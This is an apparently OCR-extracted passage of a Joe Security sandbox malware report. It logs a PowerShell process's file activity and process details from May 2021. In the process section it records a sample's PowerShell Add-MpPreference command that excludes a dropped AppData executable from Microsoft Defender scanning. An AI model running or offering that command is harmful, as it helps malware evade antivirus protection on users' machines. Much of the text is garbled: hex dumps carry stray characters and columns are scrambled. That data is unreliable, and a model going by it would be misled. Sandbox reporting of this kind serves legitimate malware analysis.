C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 success or wait 8 6CCF1B4F ReadFile
PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 128 end of file 1 6CCF1B4F ReadFile
PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 end of file 1 6CCF1B4F ReadFile
PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 6DE85705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 6DE85705 unknown
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1l unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 unknown 368 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 unknown 4096 success or wait 3 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 unknown 770 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psm1 unknown 4096 success or wait 74 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psm1 unknown 104 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psm1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\BitsTransfer.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\BitsTransfer.psd1 unknown 522 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitsTransfer\BitsTransfer.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCache\BranchCache.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCache\BranchCache.psd1 unknown 358 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BranchCache\BranchCache.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlets\CimCmdlets.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlets\CimCmdlets.psd1 unknown 160 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\CimCmdlets\CimCmdlets.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1 unknown 699 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1 unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1 unknown 699 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 success or wait 1 6CCF1B4F ReadFile
MSFT_MpComputerStatus.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 end of file 1 6CCF1B4F ReadFile
MSFT_MpComputerStatus.cdxml

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpPreference.cdxml unknown 4096 success or wait 12 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpPreference.cdxml unknown 764 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpPreference.cdxml unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpThreat.cdxml unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpThreat.cdxml unknown 617 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpThreat.cdxml unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 success or wait 1 6CCF1B4F ReadFile

MSFT_MpThreatCatalog.cdxml
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 end of file 1 6CCF1B4F ReadFile
MSFT_MpThreatCatalog.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 success or wait 1 6CCF1B4F ReadFile
MSFT_MpThreatDetection.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\ unknown 4096 end of file 1 6CCF1B4F ReadFile
MSFT_MpThreatDetection.cdxml

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpScan.cdxml unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpScan.cdxml unknown 227 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpScan.cdxml unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpSignature.cdxml  unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpSignature.cdxml  unknown 243 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpSignature.cdxml  unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpWDOScan.cdxml unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender\MSFT_MpWDOScan.cdxml unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 success or wait 1 6CCF1B4F ReadFile
PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 637 end of file 2 6CCF1B4F ReadFile
PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 end of file 2 6CCF1B4F ReadFile
PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 success or wait 10 6CCF1B4F ReadFile
PowerShell.Utility.psm1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 128 end of file 2 6CCF1B4F ReadFile

PowerShell.Utility.psm1

Analysis Process: conhost.exe PID: 6596 Parent PID: 6584

General

Start time: 14:50:08

Start date: 03/05/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: powershell.exe PID: 6660 Parent PID: 6316

General

Start time: 14:50:09

Start date: 03/05/2021

Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Copyright Joe Security LLC 2021

true

'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex

clusionPath 'C:\Users\user\AppData\Roaming\yYxmxiApi.exe'
0x1150000

430592 bytes

DBA3E6449E97D4E3DF64527EF7012A10

true

true

.Net C# or VB.NET

high
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File Created

Source
File Path Access Attributes Options Completion Count Address  Symbol
C:\Users\user read data or list device directory file | object name collision 1 6DEACF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list device directory file | object name collision 1 6DEACF06 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Temp\ _PSscriptPolicyTest_dpod1dif.1ty.ps1 read attributes | device sequential only | success or wait 1 6CCF1E60 CreateFileW
synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_fvegrtut. myf.psm1 read attributes | device sequential only | success or wait 1 6CCF1E60 CreateFileW
synchronize | synchronous io
generic write non alert | non
directory file |
open no recall
C:\Users\user\Documents\20210503\PowerShell_transcr read attributes | device synchronous io  success or wait 1 6CCF1E60 CreateFileW
ipt.065367.wOdK0ODy0.20210503145012.txt synchronize | non alert | non
generic read | directory file |
generic write open no recall
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_dpod1dif.1ty.ps1 success or wait 1 B6CCF6A95 DeleteFileW
C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_fvegrtut.myf.psm1 success or wait 1 B6CCF6A95 DeleteFileW
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\__PSscr unknown 1 31 1 success or wait 1 6CCF1B4F WriteFile
iptPolicyTest_dpod1dif.1ty.psl
C:\Users\user\AppData\Local\Temp\__PSscr unknown 1 31 1 success or wait 1 6CCF1B4F WriteFile
iptPolicyTest_fvegrtut.myf.psm1
C:\Users\user\Documents\20210503\PowerShell_transcr unknown 3 ef bb bf success or wait 1 6CCF1B4F WriteFile

ipt.065367.wOdKODy0.20210503145012.txt
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File Path

C:\Users\user\Documents\20210503\PowerShell_transcr
ipt.065367.wOdKODy0.20210503145012.txt

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

Copyright Joe Security LLC 2021

Offset

unknown 676

unknown 4096

Length Value

2a 2a2a?2a2a?a?2a
2a 2a2a?2a2a?2a?a
2a2a2a?2a2a?aZ?a
2a 0d 0a 57 69 6e 64
6f 77 73 20 50 6f 77
65 72 53 68 65 6¢ 6¢C
2074 72 61 6e 73 63
72697074207374
6172 74 0d 0a 53 74
6172 74 20 74 69 6d
65 3a 20 3230 32 31
30353033313435
3033 36 0d 0a 55 73
65 72 6e 61 6d 65 3a
20 44 45 53 4b 54 4f
50 2d 37 31 36 54 37
37 315c 68617264
7a0d 0a 52 75 6e 41
732055736572 3a
20 44 45 53 4b 54 4f
50 2d 37 31 36 54 37
37 315c 68617264
7a 0d Oa 43 6f 6e 66
69 67 7572 61 74 69
6f 6e 20 4e 61 6d 65
3a 20 0d 0a 4d 61 63
68 69 6e 65 3a 20 30
36 353336 37 20 28
4d 69 63 72 6f 73 6f
66 74 20 57 69 6e 64
6f 77 73 20 4e 54 20
31 30 2e 30 2e 31 37
31 33 34 2e 30 29 0d
0a 48 6f 73 74 20 41
70 70 6C 69 63 61 74
69 6f 6e 3a 20 43 3a
5¢ 57 69

50 53 4d 4f 44 55 4c

4543 41 43 48 4501
13 00 00 00 ca 3c el
65 ca 9f d5 08 59 00

00 00 43 3a 5¢ 50 72
6f 67 72 61 6d 20 46
69 6¢ 65 73 20 28 78
38 36 29 5¢c 57 69 6e
64 6f 77 73 50 6f 77

65 72 53 68 65 6¢ 6C
5c 4d 6f 64 75 6¢ 65

73 5¢ 50 6f 77 65 72

53 68 65 6¢ 6C 47 65
74 5c¢ 31 2e 30 2e 30
2e 31 5¢ 50 6f 77 65

72 53 68 65 6¢C 6C 47
65 74 2e 70 73 64 31
1d 00 00 00 10 00 00
00 55 6e 69 6e 73 74
61 6¢ 6¢ 2d 4d 6f 64

75 6¢ 65 02 00 00 00
04 00 00 00 69 6e 6d
6f 01 00 00 00 04 00
00 00 66 69 6d 6f 01
00 00 00 Oe 00 00 00
49 6e 73 74 61 6¢ 6C
2d 4d 6f 64 75 6¢ 65

02 00 00 00 12 00 00
00 4e 65 77 2d 53 63
72 69 70 74 46 69 6¢
65 49 6e 66 6f 02 00
00 00 Oe 00 00 00 50
75 62 6¢ 69 73 68 2d
4d 6f 64 75 6¢ 65 02

00 00 00 Oe 00 00 00
49 6e 73 74 61 6¢ 6C
2d 53 63

Ascii

Completion

FkkkkkRkRRRRR \Windo  success or wait

ws PowerShell transcript

start..Start time:

20210503145036..Userna
me: computer\user..RunAs

User:

computer\user..Configurati

on Name: ..Machine:
065367 (Microsoft
Windows NT
10.0.17134.0)..Host
Application: C:\Wi

PSMODULECACHE......

<.e....Y...C:\Program Files

(x86)\Windows

PowerShell\Modules\Powe

rShellG

et\1.0.0.1\PowerShellGet.p

sdl........ Uninstall-

Module........ New-scr
iptFilelnfo........ Publish-
Module........ Install-Sc

Install-

success or wait

Count Address

44

1

Source
Symbol

6CCF1B4F WriteFile

6CCF1B4F WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache
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Offset
unknown 4096

unknown 4096

Length Value

4d 69 63 72 6f 73 6f
66 74 2e 50 6f 77 65
72 53 68 65 6¢ 6¢C 2e
5574 69 6¢ 69 74 79
5c 4d 69 63 72 6f 73
6f 66 74 2e 50 6f 77
65 72 53 68 65 6¢ 6C
2e 55 74 69 6¢ 69 74
79 2e 70 73 64 31 6d
00 00 00 Of 00 00 00
52 65 6d 6f 76 65 2d
56 61 72 69 61 62 6¢
65 08 00 00 00 Oe 00
00 00 43 6f 6e 76 65
7274 2d 53747269
6e 67 08 00 00 00 Od
00 0000 54 72 61 63
65 2d 43 6f 6d 6d 61
6e 64 08 00 00 00 Ob
00 00 00 53 6f 72 74
2d 4f 62 6a 65 63 74
08 00 00 00 14 00 00
0052 6567 69 73 74
65 72 2d 4f 62 6a 65
63 74 45 76 65 6e 74
08 00 00 00 Oc 00 00
00476574 2d5275
6e 73 70 61 63 65 08
00 00 00 Oc 00 00 00
46 6f 72 6d 61 74 2d
54 61 62 6¢ 65 08 00
00 00 0d 00 00 00 57
61 69 74 2d 44 65 62
7567 67 65 72 08 00
00 00 11 00 00 00 47
65 74 2d 52 75 6e 73
706163

65 08 00 00 00 17 00
00 00 49 6e 73 74 61
6¢ 6¢ 2d 50 61 63 6b
61 67 6550 72 6f 76
69 64 65 72 08 00 00
00 16 00 00 00 49 6d
70 6f 72 74 2d 50 61
63 6b 61 67 65 50 72
6f 76 69 64 65 72 08
00 00 00 13 00 00 00
47 65 74 2d 50 61 63
6b 61 67 65 50 72 6f
76 69 64 65 72 08 00
00 00 16 00 00 00 52
6567 69 73 74 65 72
2d 50 61 63 6b 61 67
65 53 6f 75 72 63 65
08 00 00 00 11 00 00
00 55 6e 69 6e 73 74
61 6¢ 6¢ 2d 50 61 63
6b 61 67 65 08 00 00
00 14 00 00 00 46 69
6e 64 2d 50 61 63 6b
61 67 65 50 72 6f 76
69 64 65 72 08 00 00
00 ff ff ff ff 95 ce 12 09
ca 9f d5 08 49 00 00
00 43 3a 5¢c 57 69 6e
64 6f 77 73 5¢ 73 79
73 74 65 6d 33 32 5¢
57 69 6e 64 6f 77 73
50 6f 77 65 72 53 68
65 6¢ 6¢ 5¢C 76 31 2e
30 5c 4d 6f 64 75 6¢
65 73 5¢ 44 65 66 65
6e 64 65 72 5¢c 44 65
66

Source

Ascii Completion Count Address

Microsoft.PowerShell.Utilit success or wait 1 6CCF1B4F
y\M
icrosoft.PowerShell. Utility.
psdim.......Remove-
Variable........Convert-
String........ Trace-
Command........Sort-
Object........ Register-
ObjectEvent........ Get-
Runspace Format-
Table........ Wait-
Debugger........ Get-
Runspac

(I Install- success or wait 1 6CCF1B4F

PackageProvid

PackageProvider.
....... Register-
PackageSource.

..Find-
PackageProvider........
........ I...C:\Windows\syste
m3
2\WindowsPowerShell\v1.
0\Modules\Defender\Def

Symbol
WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\StartupProfileData-NonInteractive
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Offset
unknown 2446

unknown 64

unknown 40

unknown 32

unknown 1

unknown 4

Length Value

1000 00 00 52 65 73
75 6d 65 2d 42 69 74
4c 6f 63 6b 65 72 02
00 00 00 1c 00 00 00
42 61 63 6b 75 70 2d
42 69 74 4c 6f 63 6b
65 72 4b 65 79 50 72
6f 74 65 63 74 6f 72
02 00 00 00 25 00 00
00 53 68 6f 77 2d 42
69 74 Ac 6f 63 6b 65
725265717569 72
65 64 41 63 74 69 6f
6e 73 49 6e 74 65 72
6e 61 6¢ 02 00 00 00
17 00 00 00 55 6e 6¢
6f 63 6b 2d 50 61 73
73 77 6f 72 64 49 6e
74 65 72 6e 61 6¢ 02
00 00 00 10 00 00 00
55 6e 6¢ 6f 63 6b 2d
42 69 74 4c 6f 63 6b
6572 0200000018
00 00 00 41 64 64 2d
54 70 6d 50 72 6f 74
65 63 74 6f 72 49 6e
74 65 72 6e 61 6¢ 02
00 00 00 25 00 00 00
41 64 64 2d 52 65 63
6f 76 65 72 79 50 61
737377 6f 72 64 50
72 6f 74 65 63 74 6f
72 49 6e 74 65 72 6e
61 6¢ 02 00 00 00 1a
00 00 00 55 6e 6c 6f
63 6b 2d 52 65 63 6f
76 6572

40 00 00 01 65 00 00
00 00 00 00 00 11 00
00 00 85 14 00 00 18
00 00 00 e7 0d 78 04
6f 09 62 09 42 09 00
00 00 00 5d 02 37 00
€3 0d 00 00 00 00 00
00 00 00 04 40 00 80
00 00 00 00 00 00 00
00

48 00 00 02 03 00 00
00 00 00 00 00 01 00
00 00 3c 40 b0 5e e7
8d bf 4c b2 22 4d 79
98 9¢ a7 3a 50 00 00
00 Oe 00 20 00

4d 69 63 72 6f 73 6f
66 74 2e 50 6f 77 65
72 53 68 65 6¢ 6¢C 2e
43 6f 6e 73 6f 6¢ 65
48 6f 73 74

00

00 08 00 03

Ascii Completion
....Resume- success or wait
BitLocker........ Backup-
BitLockerKeyProtector....

%...Show-

BitLockerRequiredActi

onsinternal........ Unlock-

Pass

wordInternal........ Unlock-

BitLocker........ Add-

TpmProtector

Internal....%...Add-

RecoveryPa

sswordProtectorinternal.....
...Unlock-Recover

success or wait

success or wait

<@A.L"My..

Microsoft.PowerShell.Cons success or wait
oleHost

success or wait

success or wait

Count Address

1

1

17

17

11

11

Source
Symbol

6CCF1B4F WriteFile

6E1776FC WriteFile

6E1776FC WriteFile

6E1776FC WriteFile

6E1776FC WriteFile

6E1776FC WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Mi unknown 2044

crosoft\Windows\PowerShell\StartupProfileData-NonInteractive

File Read

File Path

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8baé\mscorlib.ni.dll.aux

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b2
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

C:\Windows\assembly\Nativelmages_v4.0.30319_32\Microsoft.Mf4

Length Value

00 Oe 80 00 01 Oe 80
00 02 Oe 80 00 03 Oe
80 00 04 Oe 80 00 05
Oe 80 00 06 Oe 80 00
07 Oe 80 00 08 Oe 80
00 09 Oc 80 00 54 01

9f6405#\ccc7c82770f93d1392abde4be3a80378\Microsoft. Management.Infrastructure.ni.dll.aux

C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config
C:\Windows\Microsoft. NET\Framework\v4.0.30319\Config\machine.config

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Config
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dil.aux

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation

\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation

\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1

C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation

\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1
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.......... T.@.>@..@.V.@.H
@X.@.
L@NT@.HT@.S@..S@.
hT@..S
@.5@.5@.\.0.T@.T@.

4000f93e4001ch @X@.?X@.

00400056 014000 .T@..S@..S@..T...T..xT..z

48014000580140 T..T..=M..DM...M.."M..

00 5b 01 40 00 4e 54 M..!M.;;M...D...D..@M..

4001485440014 <M..$M..8M..?M..BM

5340018b534001 ..D.mE..EM...g...q...S...%.

68 544001915340 ..n..4&..5&.7&.

01 fa 53 40 01 82 53

40 01 5c 01 40 00 00

54 40 01 02 54 40 01

40 58 40 01 3f 58 40

01 1c 54 40 01 b8 53

4001 fb 53 40 01 1e

54 00 01 19 54 00 01

78 54 00 01 7a 54 00

01 95 54 00 01 3d 4d

00 01 44 4d 00 01 3a

4d 00 01 22 4d 00 01

20 4d 00 01 21 4d 00

01 3b 4d 00 01 €0 44

00 01 e5 44 00 01 40

4d 00 01 3c 4d 00 01

24 4d 00 01 38 4d 00

01 3f4d 00 01 42 4d

00 01 ed 44 00 01 6d

4500 01 45 4d 00 01

dc 71 00 01 dd 71 00

01 f8 53 00 01 98 25

00 01 ba 6e 00 01 34

26 00 01 35 26 00 01

37 26 00
Offset Length
unknown 4095
unknown 8173
unknown 4095
unknown 6135
unknown 176
unknown 4095
unknown 8173
unknown 4095
unknown 900
unknown 620
unknown 4095
unknown 8173
unknown 4095
unknown 8173
unknown 748
unknown 748
unknown 4095
unknown 8171
unknown 64
unknown 21324
unknown 864
unknown 4096
unknown 492
unknown 4096

Completion

success or wait

Completion
success or wait
end of file
success or wait
success or wait

success or wait

success or wait
end of file
success or wait

success or wait

success or wait

success or wait
end of file
success or wait
end of file

success or wait

success or wait

success or wait
end of file

success or wait
success or wait

success or wait

success or wait

end of file

end of file

Count Address

11

Count

PR R R P R R R R R R N S

P R R R R

Source
Symbol

6E1776FC WriteFile

Source

Address  Symbol

6DE85705 unknown
6DE85705 unknown
6DE85705 unknown
6DE85705 unknown

6DDEO3DE ReadFile

6DE8CA54 ReadFile

6DE8CA54 ReadFile
6DE8CA54 ReadFile

6DDEO3DE ReadFile

6DDEO3DE ReadFile

6DE85705 unknown

6DE85705 unknown
6DE85705 unknown
6DE85705 unknown

6DDEO3DE ReadFile

6DDEO3DE ReadFile

6DE85705 unknown

6DE85705 unknown
6DE91F73 ReadFile
6DE9203F ReadFile

6DDEO3DE ReadFile

6CCF1B4F ReadFile
6CCF1B4F ReadFile

6CCF1B4F ReadFile
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Source
File Path Offset Length Completion Count Address  Symbol

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 success or wait 1 6CCF1B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 774 end of file 1 6CCF1B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\PackageMana unknown 4096 end of file 1 6CCF1B4F ReadFile
gement\1.0.0.1\PackageManagement.psdl

C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 2 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 success or wait 2 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 success or wait 7 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 682 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1  unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1  unknown 289 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1  unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1  unknown 4096 success or wait 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1  unknown 289 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1  unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 success or wait 142 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 993 end of file 1 6CCF1B4F ReadFile
C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1 unknown 4096 end of file 1 6CCF1B4F ReadFile
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 4096 success or wait 1 6CCF1B4F ReadFile
PowerShell.Utility.psd1

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Microsoft. PowerShell. Utility\Microsoft. unknown 637 end of file 1 6CCF1B4F ReadFile
